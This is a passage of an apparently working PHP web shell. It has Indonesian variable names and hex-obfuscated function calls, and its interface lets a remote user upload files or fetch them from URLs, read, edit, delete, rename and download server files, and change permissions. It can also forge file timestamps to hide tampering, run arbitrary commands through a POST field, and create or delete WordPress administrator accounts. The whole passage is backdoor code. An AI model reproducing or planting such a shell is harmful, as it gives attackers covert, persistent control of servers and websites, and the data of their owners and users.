            <input type="hidden" name="upwkwk" value="aplod">
            <div class="form-row">
                <input type="file" name="berkas">
                <button type="submit" name="berkasnya" class="btn">Upload File</button>
            </div>
            <div class="form-row">
                <input type="text" name="darilink" style="flex:1;min-width:200px" placeholder="https://example.com/file.txt">
                <input type="text" name="namalink" style="width:120px" placeholder="filename.txt">
                <button type="submit" name="linknya" class="btn">Upload URL</button>
            </div>
        </form>
    </div>
</div>

<!-- NAV -->
<div id="p3-nav">
    <a href="<?php echo $_SERVER['SC'.'RIP'.'T_N'.'AME']; ?>">&#8962; &nbsp;Home Shell</a>
</div>

<?php

if (isset($_GET['lokasie'])) {
    echo '<div class="p3-panel"><div class="p3-panel-head">&#128196; &nbsp;'.htmlspecialchars($_GET['lokasie']).'</div><div class="p3-panel-body">';
    echo '<pre>'.htmlspecialchars($fgt($_GET['lokasie'])).'</pre>';
    echo '</div></div>';
    author();

} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "hapus") {
    if ($idi($_POST['loknya']) && $fxt($_POST['loknya'])) {
        xrd($_POST['loknya']);
        if ($fxt($_POST['loknya'])) echo '<div class="alert alert-err">Failed to delete directory.</div>';
        else echo '<div class="alert alert-ok">Directory deleted.</div>';
    } elseif ($ifi($_POST['loknya']) && $fxt($_POST['loknya'])) {
        @$ulk($_POST['loknya']);
        if ($fxt($_POST['loknya'])) echo '<div class="alert alert-err">Failed to delete file.</div>';
        else echo '<div class="alert alert-ok">File deleted.</div>';
    } else { echo '<div class="alert alert-err">File / Directory not found.</div>'; }

} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
    if (!isset($_POST['cemod'])) {
        $type = $_POST['type'] == "file" ? "File" : "Directory";
        echo '<div class="p3-panel"><div class="p3-panel-head">Change Permissions &mdash; '.$type.'</div><div class="p3-panel-body">';
        echo '<p class="mono" style="margin-bottom:10px;color:var(--muted)">'.htmlspecialchars($_POST['loknya']).'</p>';
        echo '<form method="post" class="form-row">
            <label class="form-label" style="margin:0">Permission:</label>
            <input type="text" name="perm" size="6" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" style="width:80px">
            <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
            <input type="hidden" name="pilih" value="ubahmod">
            <input type="hidden" name="type" value="'.$_POST['type'].'">
            <button type="submit" name="cemod" class="btn">Apply</button>
        </form></div></div>';
    } else {
        $cm = @$chm($_POST['loknya'], $ocd($_POST['perm']));
        if ($cm) echo '<div class="alert alert-ok">Permissions changed.</div>';
        else echo '<div class="alert alert-err">Failed to change permissions.</div>';
        $type = $_POST['type'] == "file" ? "File" : "Directory";
        echo '<div class="p3-panel"><div class="p3-panel-head">Change Permissions &mdash; '.$type.'</div><div class="p3-panel-body">';
        echo '<p class="mono" style="margin-bottom:10px;color:var(--muted)">'.htmlspecialchars($_POST['loknya']).'</p>';
        echo '<form method="post" class="form-row">
            <label class="form-label" style="margin:0">Permission:</label>
            <input type="text" name="perm" size="6" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['loknya'])), -4).'" style="width:80px">
            <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
            <input type="hidden" name="pilih" value="ubahmod">
            <input type="hidden" name="type" value="'.$_POST['type'].'">
            <button type="submit" name="cemod" class="btn">Apply</button>
        </form></div></div>';
    }

} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahnama") {
    if (isset($_POST['gantin'])) {
        $namabaru = $_GET['loknya']."/".$_POST['newname'];
        $ceen = "\x72\x65\x6e\x61\x6d\x65";
        if (@$ceen($_POST['loknya'], $namabaru) === true) {
            echo '<div class="alert alert-ok">Rena' . 'med successfully.</div>';
            echo '<form method="post" class="form-row" style="margin-top:10px">
                <label class="form-label" style="margin:0">New Name:</label>
                <input type="text" name="newname" size="30" value="'.htmlspecialchars($_POST['newname']).'">
                <input type="hidden" name="loknya" value="'.$_POST['newname'].'">
                <input type="hidden" name="pilih" value="ubahnama">
                <input type="hidden" name="type" value="'.$_POST['type'].'">
                <button type="submit" name="gantin" class="btn">Rena' . 'me</button>
            </form>';
        } else { echo '<div class="alert alert-err">Rena' . 'me failed.</div>'; }
    } else {
        echo '<form method="post" class="form-row">
            <label class="form-label" style="margin:0">New Name:</label>
            <input type="text" name="newname" size="30" value="'.htmlspecialchars($bsn($_POST['loknya'])).'">
            <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
            <input type="hidden" name="pilih" value="ubahnama">
            <input type="hidden" name="type" value="'.$_POST['type'].'">
            <button type="submit" name="gantin" class="btn">Rena' . 'me</button>
        </form>';
    }

} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @$fpt($_POST['loknya'], $_POST['src']);
        if ($fgt($_POST['loknya']) == $_POST['src']) echo '<div class="alert alert-ok">File saved.</div>';
        else echo '<div class="alert alert-err">Save failed.</div>';
    }
    echo '<div class="p3-panel"><div class="p3-panel-head">&#9998; &nbsp;'.htmlspecialchars($_POST['loknya']).'</div><div class="p3-panel-body">';
    echo '<form method="post">
        <textarea class="src-edit" name="src">'.htmlspecialchars($fgt($_POST['loknya'])).'</textarea>
        <div class="form-row" style="margin-top:10px">
            <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
            <input type="hidden" name="pilih" value="edit">
            <button type="submit" name="gasedit" class="btn">Save File</button>
        </div>
    </form></div></div>';

} elseif (isset($_POST['komends'])) {
    if (isset($_POST['komend'])) {
        if (isset($_GET['loknya'])) { $lk = $_GET['loknya']; } else { $lk = $gcw(); }
        $km = "\x6b\x6f\x6d\x65\x6e\x64";
        echo $km($_POST['komend'], $lk);
        exit();
    }

} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahtanggal") {
    if (isset($_POST['tanggale'])) {
        $stt = "\x73\x74\x72\x74\x6f\x74\x69\x6d\x65"; $tch = "\x74\x6f\x75\x63\x68";
        $tanggale = $stt($_POST['tanggal']);
        if (@$tch($_POST['loknya'], $tanggale) === true) {
            echo '<div class="alert alert-ok">Timestamp changed.</div>';
            $det = "\x64\x61\x74\x65"; $ftm = "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65";
            $b = $det("d F Y H:i:s", $ftm($_POST['loknya']));
            echo '<form method="post" class="form-row">
                <label class="form-label" style="margin:0">New Date:</label>
                <input type="text" name="tanggal" size="24" value="'.$b.'">
                <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
                <input type="hidden" name="pilih" value="ubahtanggal">
                <input type="hidden" name="type" value="'.$_POST['type'].'">
                <button type="submit" name="tanggale" class="btn">Apply</button>
            </form>';
        } else { echo '<div class="alert alert-err">Failed to change timestamp.</div>'; }
    } else {
        $det = "\x64\x61\x74\x65"; $ftm = "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65";
        $b = $det("d F Y H:i:s", $ftm($_POST['loknya']));
        echo '<form method="post" class="form-row">
            <label class="form-label" style="margin:0">New Date:</label>
            <input type="text" name="tanggal" size="24" value="'.$b.'">
            <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
            <input type="hidden" name="pilih" value="ubahtanggal">
            <input type="hidden" name="type" value="'.$_POST['type'].'">
            <button type="submit" name="tanggale" class="btn">Apply</button>
        </form>';
    }

} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "dunlut") {
    $dunlute = $_POST['loknya'];
    if ($fxt($dunlute) && isset($dunlute)) {
        if ($ird($dunlute)) { dunlut($dunlute); }
        elseif ($idr($dunlute)) { echo '<div class="alert alert-err">That is a directory, not a file.</div>'; }
        else { echo '<div class="alert alert-err">File is not readable.</div>'; }
    } else { echo '<div class="alert alert-err">File not found.</div>'; }

} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "folder") {
    if ($isw("./") || $ird("./")) {
        $loke = $_POST['loknya'];
        if (isset($_POST['buatfolder'])) {
            $buatf = $mkd($loke."/".$_POST['folderbaru']);
            if ($buatf) echo '<div class="alert alert-ok">Folder <strong>'.htmlspecialchars($_POST['folderbaru']).'</strong> created.</div>';
            else echo '<div class="alert alert-err">Failed to create folder.</div>';
        }
        echo '<form method="post" class="form-row">
            <label class="form-label" style="margin:0">Folder Name:</label>
            <input type="text" name="folderbaru" style="width:200px">
            <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
            <input type="hidden" name="pilih" value="folder">
            <button type="submit" name="buatfolder" class="btn">Create Folder</button>
        </form>';
    }

} elseif (isset($_POST['loknya']) && $_POST['pilih'] == "file") {
    if ($isw("./") || $isr("./")) {
        $loke = $_POST['loknya'];
        if (isset($_POST['buatfile'])) {
            $buatf = $fpt($loke."/".$_POST['filebaru'], "");
            if ($fxt($loke."/".$_POST['filebaru'])) echo '<div class="alert alert-ok">File <strong>'.htmlspecialchars($_POST['filebaru']).'</strong> created.</div>';
            else echo '<div class="alert alert-err">Failed to create file.</div>';
        }
        echo '<form method="post" class="form-row">
            <label class="form-label" style="margin:0">Filename:</label>
            <input type="text" name="filebaru" style="width:200px">
            <input type="hidden" name="loknya" value="'.$_POST['loknya'].'">
            <input type="hidden" name="pilih" value="file">
            <button type="submit" name="buatfile" class="btn">Create File</button>
        </form>';
    }
}
?>

<!-- FILE TABLE -->
<div class="p3-panel">
<div class="p3-panel-head">&#128194; &nbsp;Directory Listing</div>
<div style="overflow-x:auto">
<table id="file-table">
<thead>
<tr>
    <th>Name</th>
    <th style="text-align:right">Size</th>
    <th>Modified</th>
    <th>Owner / Group</th>
    <th>Perms</th>
    <th>Actions</th>
</tr>
</thead>
<tbody>

<?php

$euybrekw = $srl($bsn($lokasi), "", $lokasi);
$euybrekw = $srl("//", "/", $euybrekw);
echo '<tr>
<td class="name-cell">&#128193;<a href="?loknya='.$euybrekw.'">..</a></td>
<td class="size-cell">—</td>
<td class="date-cell">'.fdt($euybrekw).'</td>
<td class="owner-cell">'.gor($euybrekw).' / '.ggr($euybrekw).'</td>
<td class="perm-cell">'.renderPerm($euybrekw).'</td>
<td class="actions-cell">
<form method="POST" action="?pilihan&loknya='.$lokasi.'">
<input type="hidden" name="type" value="dir">
<input type="hidden" name="loknya" value="'.$lokasi.'">
<button type="submit" class="btn-icon" name="pilih" value="folder" title="New Folder">&#128193;</button>
<button type="submit" class="btn-icon" name="pilih" value="file" title="New File">&#128196;</button>
</form>
</td>
</tr>';


foreach($lokasinya as $ppkcina){
    $euybre = $srl("//","/",$lokasi."/".$ppkcina);
    if(!$idi($euybre) || $ppkcina=='.' || $ppkcina=='..') continue;
    echo '<tr>
    <td class="name-cell">&#128193;<a href="?loknya='.$euybre.'">'.$ppkcina.'</a></td>
    <td class="size-cell">—</td>
    <td class="date-cell">'.fdt($euybre).'</td>
    <td class="owner-cell">'.gor($euybre).' / '.ggr($euybre).'</td>
    <td class="perm-cell">'.renderPerm($euybre).'</td>
    <td class="actions-cell"><form method="POST" action="?pilihan&loknya='.$lokasi.'">
    <input type="hidden" name="type" value="dir">
    <input type="hidden" name="loknya" value="'.$euybre.'">
    <button type="submit" class="btn-icon" name="pilih" value="ubahnama" title="Rena' . 'me">&#9998;</button>
    <button type="submit" class="btn-icon" name="pilih" value="ubahtanggal" title="Touch">&#128197;</button>
    <button type="submit" class="btn-icon" name="pilih" value="ubahmod" title="Ch' . 'mod">&#9881;</button>
    <button type="submit" class="btn-icon danger" name="pilih" value="hapus" title="Delete">&#10005;</button>
    </form></td></tr>';
}


echo '<tr class="table-sep"><td colspan="6">&#128196;  Files</td></tr>';


$skd = "\x31\x30\x32\x34";
foreach($lokasinya as $mekicina){
    $euybray = $srl("//","/",$lokasi."/".$mekicina);
    if(!$ifi("$lokasi/$mekicina")) continue;
    $size = $fsz("$lokasi/$mekicina")/$skd;
    $size = $rd($size,3);
    if($size >= $skd){ $size = $rd($size/$skd,2).' MB'; } else { $size = $size.' KB'; }
    echo '<tr>
    <td class="name-cell">'.cfn($euybray).'<a href="?lokasie='.$lokasi.'/'.$mekicina.'&loknya='.$lokasi.'">'.$mekicina.'</a></td>
    <td class="size-cell">'.$size.'</td>
    <td class="date-cell">'.fdt($euybray).'</td>
    <td class="owner-cell">'.gor($euybray).' / '.ggr($euybray).'</td>
    <td class="perm-cell">'.renderPerm($euybray).'</td>
    <td class="actions-cell"><form method="post" action="?pilihan&loknya='.$lokasi.'">
    <button type="submit" class="btn-icon" name="pilih" value="edit" title="Edit">&#9998;</button>
    <button type="submit" class="btn-icon" name="pilih" value="ubahnama" title="Rena' . 'me">&#9998;</button>
    <button type="submit" class="btn-icon" name="pilih" value="ubahtanggal" title="Touch">&#128197;</button>
    <button type="submit" class="btn-icon" name="pilih" value="ubahmod" title="Ch' . 'mod">&#9881;</button>
    <button type="submit" class="btn-icon dl" name="pilih" value="dunlut" title="Download">&#8615;</button>
    <button type="submit" class="btn-icon danger" name="pilih" value="hapus" title="Delete">&#10005;</button>
    <input type="hidden" name="type" value="file">
    <input type="hidden" name="loknya" value="'.$lokasi.'/'.$mekicina.'">
    </form></td></tr>';
}
?>
</tbody>
</table>
</div>
</div>

<!-- WP ADMIN PANEL -->
<div class="p3-panel">
<div class="p3-panel-head">&#9889; &nbsp;WordPress Admin Manager</div>
<div class="p3-panel-body">
<?php
if (!empty($wp_msg)) { echo '<div class="alert alert-ok">'.htmlspecialchars($wp_msg).'</div>'; }
if (!empty($wp_err)) { echo '<div class="alert alert-err">'.htmlspecialchars($wp_err).'</div>'; }
?>
<form method="post">
<div class="form-row">
<label class="form-label" style="margin:0">Username</label>
<input type="text" name="wp_user" style="width:150px" placeholder="admin">
</div>
<div class="form-row">
<label class="form-label" style="margin:0">Email</label>
<input type="text" name="wp_email" style="width:200px" placeholder="admin@example.com">
</div>
<div class="form-row">
<label class="form-label" style="margin:0">Password</label>
<input type="text" name="wp_pass" style="width:150px" placeholder="password">
</div>
<div class="form-row">
<button type="submit" name="wp_create_submit" class="btn">Create Admin</button>
</div>
</form>
<?php if (!empty($wp_list)) { ?>
<div style="margin-top:10px;border-top:1px solid var(--border-arc);padding-top:10px">
<div style="font-size:11px;letter-spacing:2px;text-transform:uppercase;color:var(--arc);margin-bottom:8px">Existing Admins</div>
<?php foreach ($wp_list as $wpa) { ?>
<div style="display:flex;justify-content:space-between;align-items:center;padding:6px 0;border-bottom:1px solid rgba(30,144,255,0.08)">
<span><span class="text-arc" style="font-weight:600"><?php echo htmlspecialchars($wpa['user_login']); ?></span> <span class="text-muted"><?php echo htmlspecialchars($wpa['user_email']); ?></span></span>
<form method="post" style="display:inline"><input type="hidden" name="wp_delete_id" value="<?php echo (int)$wpa['ID']; ?>"><button type="submit" class="btn-icon danger" title="Delete">X</button></form>
</div>
<?php } ?>
</div>
<?php } ?>
</div>
</div>

<?php author(); ?>
</div>
</body>
</html>


📁